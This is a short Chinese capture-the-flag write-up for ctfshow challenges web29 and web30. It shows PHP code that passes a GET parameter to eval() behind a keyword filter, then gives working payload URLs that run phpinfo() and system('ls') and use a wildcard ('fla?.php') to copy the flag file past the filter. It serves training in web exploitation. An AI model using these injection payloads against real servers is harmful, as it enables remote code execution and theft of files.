命令执行--ctfshow web29

1：PHP 在线工具 | 菜鸟工具

PHP中preg_match正则匹配的/u /i  /s是什么意思
/u 表示按unicode(utf-8)匹配（主要针对多字节比如汉字）
/i 表示不区分大小写（如果表达式里面有 a， 那么 A 也是匹配对象）
/s 表示将字符串视为单行来匹配

 Q:web29 

 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);   //eval 属于php代码执行，严格来说不属于命令执行
    }
    
}else{
    highlight_file(__FILE__);
}

http://a472e7e6-0265-4077-9433-29a7b7e19ff9.challenge.ctf.show:8080/?c=phpinfo();

 不能少分号；

http://a472e7e6-0265-4077-9433-29a7b7e19ff9.challenge.ctf.show:8080/?c=phpinfo()?>

php最后一行代码可以少分号

1：http://a472e7e6-0265-4077-9433-29a7b7e19ff9.challenge.ctf.show:8080/?c=system("ls");

输出文件名称：flag.php index.php 

eval(system("ls")); system("ls")两个代码效果相同。

2http://da7c146e-cb0e-4a5a-9344-af076d4f673a.challenge.ctf.show:8080/?c=system("cp fla?.php 1.txt");Linux下常见通配符总结_weixin_33871366的博客-CSDN博客通配符一般用于用户的命令行bash环境，而linux正则表达式多用于grep/sed/awk场景。*——通配符，代表人意(0到多个)字符?——通配符，代表任意1个字符;——连续不同命令的分隔符#——配置文件注释|——管道符~ 用户的家目录-上一次的目录$ 变量前需要加的符号/路径分隔符号>...https://blog.csdn.net/weixin_33871366/article/details/89868311

3:http://da7c146e-cb0e-4a5a-9344-af076d4f673a.challenge.ctf.show:8080/1.txt

web30

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

 使用29题的绕过，system,和php会被检测出来。